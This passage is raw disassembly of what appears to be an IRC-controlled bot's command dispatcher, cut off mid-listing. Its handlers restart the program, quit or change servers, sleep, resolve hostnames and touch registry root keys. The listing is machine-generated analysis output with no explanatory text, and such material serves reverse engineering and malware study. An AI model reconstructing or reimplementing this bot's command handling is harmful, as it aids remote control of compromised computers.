--------------------------------------------------------------------------- loc_40B28E: ; CODE XREF: sub_40A9CF+88Bj mov eax, [ebp+var_1A8] sub eax, dword_419CFC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B2C5 mov eax, [ebp+arg_18] add eax, 4 push eax mov eax, [ebp+arg_14] add eax, 4 push eax lea eax, [ebp+var_1A4] push eax call sub_4167DD add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B2C5: ; CODE XREF: sub_40A9CF+8D2j mov eax, [ebp+var_1A8] sub eax, dword_419CF0 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40B2EF mov eax, [ebp+var_1A8] sub eax, dword_419CE4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B300 loc_40B2EF: ; CODE XREF: sub_40A9CF+909j mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_40D74D pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B300: ; CODE XREF: sub_40A9CF+91Ej mov eax, [ebp+var_1A8] sub eax, dword_419CD4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B335 mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_403260 add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B335: ; CODE XREF: sub_40A9CF+944j mov eax, [ebp+var_1A8] sub eax, dword_419CC8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B36A mov eax, [ebp+arg_18] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_40260D add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B36A: ; CODE XREF: sub_40A9CF+979j mov eax, [ebp+var_1A8] sub eax, dword_419CB8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B3A5 mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_406509 add esp, 10h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B3A5: ; CODE XREF: sub_40A9CF+9AEj mov eax, [ebp+var_1A8] sub eax, dword_419CA8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B3DA mov eax, [ebp+arg_18] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_41665C add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B3DA: ; CODE XREF: sub_40A9CF+9E9j mov eax, [ebp+var_1A8] sub eax, dword_419C98 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B426 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jnz short loc_40B3FD jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B3FD: ; CODE XREF: sub_40A9CF+A27j mov eax, [ebp+arg_18] push dword ptr [eax+4] push 80000001h call sub_401000 pop ecx pop ecx mov eax, [ebp+arg_18] push dword ptr [eax+4] push 80000002h call sub_401000 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B426: ; CODE XREF: sub_40A9CF+A1Ej mov eax, [ebp+var_1A8] sub eax, dword_419C88 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B44C mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_401146 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B44C: ; CODE XREF: sub_40A9CF+A6Aj mov eax, [ebp+var_1A8] sub eax, dword_419C7C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B47D push 0 mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_4017AA add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B47D: ; CODE XREF: sub_40A9CF+A90j mov eax, [ebp+var_1A8] sub eax, dword_419C70 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B4AE push 1 mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_4017AA add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B4AE: ; CODE XREF: sub_40A9CF+AC1j mov eax, [ebp+var_1A8] sub eax, dword_419C64 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B4D5 lea eax, [ebp+var_1A4] push eax call sub_409BF1 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B4D5: ; CODE XREF: sub_40A9CF+AF2j mov eax, [ebp+var_1A8] sub eax, dword_419C5C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B508 push offset dword_41F018 push offset dword_419C4C lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B508: ; CODE XREF: sub_40A9CF+B19j mov eax, [ebp+var_1A8] sub eax, dword_419C40 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B536 mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_413FE7 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B536: ; CODE XREF: sub_40A9CF+B4Cj mov eax, [ebp+var_1A8] sub eax, dword_419C34 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40B575 mov eax, [ebp+var_1A8] sub eax, dword_419C28 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40B575 mov eax, [ebp+var_1A8] sub eax, dword_419C1C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B5A7 loc_40B575: ; CODE XREF: sub_40A9CF+B7Aj ; sub_40A9CF+B8Fj mov eax, [ebp+arg_14] push dword ptr [eax+14h] mov eax, [ebp+arg_14] push dword ptr [eax+10h] mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_413AB0 add esp, 18h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B5A7: ; CODE XREF: sub_40A9CF+BA4j mov eax, [ebp+var_1A8] sub eax, dword_419C0C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B5CE lea eax, [ebp+var_1A4] push eax call sub_41417D pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B5CE: ; CODE XREF: sub_40A9CF+BEBj mov eax, [ebp+var_1A8] sub eax, dword_419BF8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B631 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jz short loc_40B61B mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_41673F pop ecx test eax, eax jnz short loc_40B601 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B601: ; CODE XREF: sub_40A9CF+C2Bj push 104h mov eax, [ebp+arg_18] push dword ptr [eax+4] push offset dword_41ED10 call sub_407A56 add esp, 0Ch jmp short loc_40B62C ; --------------------------------------------------------------------------- loc_40B61B: ; CODE XREF: sub_40A9CF+C1Bj push offset dword_41EBFC push offset dword_41ED10 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40B62C: ; CODE XREF: sub_40A9CF+C4Aj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B631: ; CODE XREF: sub_40A9CF+C12j mov eax, [ebp+var_1A8] sub eax, dword_419BE8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B678 mov eax, [ebp+arg_14] push dword ptr [eax+14h] mov eax, [ebp+arg_14] push dword ptr [eax+10h] mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_414600 add esp, 18h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B678: ; CODE XREF: sub_40A9CF+C75j mov eax, [ebp+var_1A8] sub eax, dword_419BE0 neg eax sbb eax, eax inc eax test eax, eax jz loc_40B791 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jnz short loc_40B69F jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B69F: ; CODE XREF: sub_40A9CF+CC9j mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_416B40 ; strlen pop ecx shl eax, 1 push eax call sub_416B46 ; malloc pop ecx mov [ebp+var_5A68], eax cmp [ebp+var_5A68], 0 jnz short loc_40B6C8 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B6C8: ; CODE XREF: sub_40A9CF+CF2j mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_416B40 ; strlen pop ecx push eax push [ebp+var_5A68] mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_40EB4E add esp, 0Ch push [ebp+var_5A68] push offset dword_419BC4 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch push [ebp+var_5A68] call sub_416B4C ; free pop ecx push 1000h lea eax, [ebp+var_1A60] push eax call sub_4104A3 pop ecx pop ecx call sub_416B64 ; clock mov [ebp+var_A60], eax and [ebp+var_1A64], 0 jmp short loc_40B743 ; --------------------------------------------------------------------------- loc_40B736: ; CODE XREF: sub_40A9CF+D9Bj mov eax, [ebp+var_1A64] inc eax mov [ebp+var_1A64], eax loc_40B743: ; CODE XREF: sub_40A9CF+D65j cmp [ebp+var_1A64], 186A0h jge short loc_40B76C push 1000h lea eax, [ebp+var_5A64] push eax lea eax, [ebp+var_1A60] push eax call sub_40EB4E add esp, 0Ch jmp short loc_40B736 ; --------------------------------------------------------------------------- loc_40B76C: ; CODE XREF: sub_40A9CF+D7Ej call sub_416B64 ; clock sub eax, [ebp+var_A60] push eax push offset aItTookMeUms_ ; "It took me %ums." lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B791: ; CODE XREF: sub_40A9CF+CBCj mov eax, [ebp+var_1A8] sub eax, dword_419BA4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B823 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jnz short loc_40B7B4 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B7B4: ; CODE XREF: sub_40A9CF+DDEj mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_416B40 ; strlen pop ecx push eax call sub_416B46 ; malloc pop ecx mov [ebp+var_5A6C], eax cmp [ebp+var_5A6C], 0 jnz short loc_40B7DB jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B7DB: ; CODE XREF: sub_40A9CF+E05j push [ebp+var_5A6C] mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_40E9C9 pop ecx pop ecx mov ecx, [ebp+var_5A6C] and byte ptr [ecx+eax], 0 push [ebp+var_5A6C] push offset dword_419B88 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch push [ebp+var_5A6C] call sub_416B4C ; free pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B823: ; CODE XREF: sub_40A9CF+DD5j mov eax, [ebp+var_1A8] sub eax, dword_419B78 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B873 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40B85C push offset dword_41F018 push offset dword_419B64 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp short loc_40B86E ; --------------------------------------------------------------------------- loc_40B85C: ; CODE XREF: sub_40A9CF+E70j mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_41F018 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40B86E: ; CODE XREF: sub_40A9CF+E8Bj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B873: ; CODE XREF: sub_40A9CF+E67j mov eax, [ebp+var_1A8] sub eax, dword_419B58 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B899 mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_4097A7 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B899: ; CODE XREF: sub_40A9CF+EB7j mov eax, [ebp+var_1A8] sub eax, dword_419B4C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B8C7 mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_403FE5 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B8C7: ; CODE XREF: sub_40A9CF+EDDj mov eax, [ebp+var_1A8] sub eax, dword_419B3C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B8ED mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_4098F3 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B8ED: ; CODE XREF: sub_40A9CF+F0Bj mov eax, [ebp+var_1A8] sub eax, dword_419B30 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B91B mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_406722 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B91B: ; CODE XREF: sub_40A9CF+F31j mov eax, [ebp+var_1A8] sub eax, dword_419B20 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B949 mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_412F07 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B949: ; CODE XREF: sub_40A9CF+F5Fj mov eax, [ebp+var_1A8] sub eax, dword_419B14 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B98A mov eax, [ebp+arg_14] push dword ptr [eax+10h] mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_40A1A7 add esp, 14h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B98A: ; CODE XREF: sub_40A9CF+F8Dj mov eax, [ebp+var_1A8] sub eax, dword_419B08 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B9BF mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_40A50E add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B9BF: ; CODE XREF: sub_40A9CF+FCEj mov eax, [ebp+var_1A8] sub eax, dword_419AFC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B9F5 push offset dword_41EBFC push offset aQuitSRemoved_ ; "QUIT :%s removed." call sub_40D6CB pop ecx pop ecx push 36EE80h call dword_41709C ; Sleep jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B9F5: ; CODE XREF: sub_40A9CF+1003j mov eax, [ebp+var_1A8] sub eax, dword_419ADC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BA79 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BA18 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BA18: ; CODE XREF: sub_40A9CF+1042j mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_41DB88 call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp+arg_14] cmp dword ptr [eax+8], 0 jz short loc_40BA41 mov eax, [ebp+arg_14] mov eax, [eax+8] mov [ebp+var_63EC], eax jmp short loc_40BA4B ; --------------------------------------------------------------------------- loc_40BA41: ; CODE XREF: sub_40A9CF+1062j mov [ebp+var_63EC], offset byte_41DF00 loc_40BA4B: ; CODE XREF: sub_40A9CF+1070j push [ebp+var_63EC] push offset dword_41EE18 call sub_416B3A ; _mbscpy pop ecx pop ecx push offset dword_41EE18 push offset dword_41DB88 push offset dword_419AD0 call sub_40D6CB add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BA79: ; CODE XREF: sub_40A9CF+1039j mov eax, [ebp+var_1A8] sub eax, dword_419AC4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BADB mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BA9C jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BA9C: ; CODE XREF: sub_40A9CF+10C6j mov eax, [ebp+arg_14] cmp dword ptr [eax+8], 0 jz short loc_40BAB3 mov eax, [ebp+arg_14] mov eax, [eax+8] mov [ebp+var_63F0], eax jmp short loc_40BABD ; --------------------------------------------------------------------------- loc_40BAB3: ; CODE XREF: sub_40A9CF+10D4j mov [ebp+var_63F0], offset byte_41DF00 loc_40BABD: ; CODE XREF: sub_40A9CF+10E2j push [ebp+var_63F0] mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_419AD0 call sub_40D6CB add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BADB: ; CODE XREF: sub_40A9CF+10BDj mov eax, [ebp+var_1A8] sub eax, dword_419AB8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BB15 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BAFE jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BAFE: ; CODE XREF: sub_40A9CF+1128j mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_419AB0 call sub_40D6CB pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BB15: ; CODE XREF: sub_40A9CF+111Fj mov eax, [ebp+var_1A8] sub eax, dword_419AA4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BB6C mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BB38 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BB38: ; CODE XREF: sub_40A9CF+1162j mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416B9C ; atoi pop ecx mov [ebp+var_5A70], eax cmp [ebp+var_5A70], 927C0h jle short loc_40BB5B jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BB5B: ; CODE XREF: sub_40A9CF+1185j push [ebp+var_5A70] call dword_41709C ; Sleep jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BB6C: ; CODE XREF: sub_40A9CF+1159j mov eax, [ebp+var_1A8] sub eax, dword_419A9C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BBB0 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jz short loc_40BB93 mov eax, [ebp+arg_18] cmp dword ptr [eax+8], 0 jnz short loc_40BB98 loc_40BB93: ; CODE XREF: sub_40A9CF+11B9j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BB98: ; CODE XREF: sub_40A9CF+11C2j mov eax, [ebp+arg_18] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_40D4AB pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BBB0: ; CODE XREF: sub_40A9CF+11B0j mov eax, [ebp+var_1A8] sub eax, dword_419A90 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BBF4 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jz short loc_40BBD7 mov eax, [ebp+arg_18] cmp dword ptr [eax+8], 0 jnz short loc_40BBDC loc_40BBD7: ; CODE XREF: sub_40A9CF+11FDj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BBDC: ; CODE XREF: sub_40A9CF+1206j mov eax, [ebp+arg_18] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_40D420 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BBF4: ; CODE XREF: sub_40A9CF+11F4j mov eax, [ebp+var_1A8] sub eax, dword_419A88 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BC28 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jnz short loc_40BC17 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BC17: ; CODE XREF: sub_40A9CF+1241j mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_40D6CB pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BC28: ; CODE XREF: sub_40A9CF+1238j mov eax, [ebp+var_1A8] sub eax, dword_419A7C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BCB2 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BC84 cmp dword_41DF08, 0 jz short loc_40BC5B mov [ebp+var_63F4], offset aOn ; "on" jmp short loc_40BC65 ; --------------------------------------------------------------------------- loc_40BC5B: ; CODE XREF: sub_40A9CF+127Ej mov [ebp+var_63F4], offset aOff ; "off" loc_40BC65: ; CODE XREF: sub_40A9CF+128Aj push [ebp+var_63F4] push offset aDebugModeIsS_ ; "Debug mode is %s." lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BC84: ; CODE XREF: sub_40A9CF+1275j push offset aOn ; "on" mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40BCA6 mov dword_41DF08, 1 jmp short loc_40BCAD ; --------------------------------------------------------------------------- loc_40BCA6: ; CODE XREF: sub_40A9CF+12C9j and dword_41DF08, 0 loc_40BCAD: ; CODE XREF: sub_40A9CF+12D5j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BCB2: ; CODE XREF: sub_40A9CF+126Cj mov eax, [ebp+var_1A8] sub eax, dword_419A50 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BCD9 lea eax, [ebp+var_1A4] push eax call sub_415DFD pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BCD9: ; CODE XREF: sub_40A9CF+12F6j mov eax, [ebp+var_1A8] sub eax, dword_419A44 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BD13 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BCFC jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BCFC: ; CODE XREF: sub_40A9CF+1326j mov eax, [ebp+arg_18] push dword ptr [eax+4] push offset dword_419A3C call sub_40D6CB pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BD13: ; CODE XREF: sub_40A9CF+131Dj mov eax, [ebp+var_1A8] sub eax, dword_419A30 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40BD52 mov eax, [ebp+var_1A8] sub eax, dword_419A24 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40BD52 mov eax, [ebp+var_1A8] sub eax, dword_419A1C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BD62 loc_40BD52: ; CODE XREF: sub_40A9CF+1357j ; sub_40A9CF+136Cj push offset aQuitExitting ; "QUIT :exitting" call sub_40D6CB pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BD62: ; CODE XREF: sub_40A9CF+1381j mov eax, [ebp+var_1A8] sub eax, dword_419A10 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BDC9 push 104h lea eax, [ebp+var_5B74] push eax push 0 call dword_41708C ; GetModuleHandleA push eax call dword_417090 ; GetModuleFileNameA push 0 push 0 push 0 lea eax, [ebp+var_5B74] push eax push offset aOpen ; "open" push 0 call dword_4171D0 cmp eax, 20h ja short loc_40BDB6 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BDB6: ; CODE XREF: sub_40A9CF+13E0j push offset aQuitRestarting ; "QUIT :restarting" call sub_40D6CB pop ecx push 0 call dword_41705C ; ExitProcess loc_40BDC9: ; CODE XREF: sub_40A9CF+13A6j mov eax, [ebp+var_1A8] sub eax, dword_419A04 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BE19 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BDEC jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BDEC: ; CODE XREF: sub_40A9CF+1416j mov eax, [ebp+arg_14] mov eax, [eax+4] movzx eax, byte ptr [eax] push eax mov eax, [ebp+arg_14] mov eax, [eax+4] movzx eax, byte ptr [eax] push eax push offset dword_4199D4 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 10h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BE19: ; CODE XREF: sub_40A9CF+140Dj mov eax, [ebp+var_1A8] sub eax, dword_4199C4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BE38 call sub_407148 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BE38: ; CODE XREF: sub_40A9CF+145Dj mov eax, [ebp+var_1A8] sub eax, dword_4199BC neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40BE62 mov eax, [ebp+var_1A8] sub eax, dword_4199B0 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BE7B loc_40BE62: ; CODE XREF: sub_40A9CF+147Cj mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_401D6E pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BE7B: ; CODE XREF: sub_40A9CF+1491j mov eax, [ebp+var_1A8] sub eax, dword_4199A8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BEA9 mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_40CEB0 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BEA9: ; CODE XREF: sub_40A9CF+14BFj mov eax, [ebp+var_1A8] sub eax, dword_41999C neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40BED3 mov eax, [ebp+var_1A8] sub eax, dword_41998C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BEFD loc_40BED3: ; CODE XREF: sub_40A9CF+14EDj push offset aQuitChangingSe ; "QUIT :changing server" call sub_40D6CB pop ecx mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_40D366 add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BEFD: ; CODE XREF: sub_40A9CF+1502j mov eax, [ebp+var_1A8] sub eax, dword_41996C neg eax sbb eax, eax inc eax test eax, eax jz loc_40C0D9 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BF29 mov eax, [ebp+arg_14] mov dword ptr [eax+4], offset byte_41DF00 loc_40BF29: ; CODE XREF: sub_40A9CF+154Ej lea eax, [ebp+var_5B78] push eax push 0 push 0 mov eax, [ebp+arg_14] push dword ptr [eax+4] call dword_41DF54 ; getaddrinfo test eax, eax jnz loc_40C0BA mov eax, [ebp+var_5B78] mov [ebp+var_5B7C], eax loc_40BF54: ; CODE XREF: sub_40A9CF+16D8j cmp [ebp+var_5B7C], 0 jz loc_40C0AC push 2 push 0 push 0 push 401h lea eax, [ebp+var_5F80] push eax mov eax, [ebp+var_5B7C] push dword ptr [eax+10h] mov eax, [ebp+var_5B7C] push dword ptr [eax+18h] call dword_41DF58 ; getnameinfo test eax, eax jnz loc_40C098 mov eax, [ebp+var_5B7C] cmp dword ptr [eax+4], 2 jnz short loc_40BFEA mov eax, [ebp+arg_14] mov eax, [eax+4] movsx eax, byte ptr [eax] test eax, eax jz short loc_40BFBA mov eax, [ebp+arg_14] mov eax, [eax+4] mov [ebp+var_63F8], eax jmp short loc_40BFC4 ; --------------------------------------------------------------------------- loc_40BFBA: ; CODE XREF: sub_40A9CF+15DBj mov [ebp+var_63F8], offset dword_419968 loc_40BFC4: ; CODE XREF: sub_40A9CF+15E9j lea eax, [ebp+var_5F80] push eax push [ebp+var_63F8] push offset dword_419944 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 10h jmp loc_40C08D ; --------------------------------------------------------------------------- loc_40BFEA: ; CODE XREF: sub_40A9CF+15CEj mov eax, [ebp+var_5B7C] cmp dword ptr [eax+4], 17h jnz short loc_40C03E mov eax, [ebp+arg_14] mov eax, [eax+4] movsx eax, byte ptr [eax] test eax, eax jz short loc_40C011 mov eax, [ebp+arg_14] mov eax, [eax+4] mov [ebp+var_63FC], eax jmp short loc_40C01B ; --------------------------------------------------------------------------- loc_40C011: ; CODE XREF: sub_40A9CF+1632j mov [ebp+var_63FC], offset dword_419968 loc_40C01B: ; CODE XREF: sub_40A9CF+1640j lea eax, [ebp+var_5F80] push eax push [ebp+var_63FC] push offset dword_419920 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 10h jmp short loc_40C08D ; --------------------------------------------------------------------------- loc_40C03E: ; CODE XREF: sub_40A9CF+1625j mov eax, [ebp+arg_14] mov eax, [eax+4] movsx eax, byte ptr [eax] test eax, eax jz short loc_40C059 mov eax, [ebp+arg_14] mov eax, [eax+4] mov [ebp+var_6400], eax jmp short loc_40C063 ; --------------------------------------------------------------------------- loc_40C059: ; CODE XREF: sub_40A9CF+167Aj mov [ebp+var_6400], offset dword_419968 loc_40C063: ; CODE XREF: sub_40A9CF+1688j lea eax, [ebp+var_5F80] push eax mov eax, [ebp+var_5B7C] push dword ptr [eax+4] push [ebp+var_6400] push offset dword_4198EC lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 14h loc_40C08D: ; CODE XREF: sub_40A9CF+1616j ; sub_40A9CF+166Dj push 3E8h call dword_41709C ; Sleep loc_40C098: ; CODE XREF: sub_40A9CF+15BEj mov eax, [ebp+var_5B7C] mov eax, [eax+1Ch] mov [ebp+var_5B7C], eax jmp loc_40BF54 ; --------------------------------------------------------------------------- loc_40C0AC: ; CODE XREF: 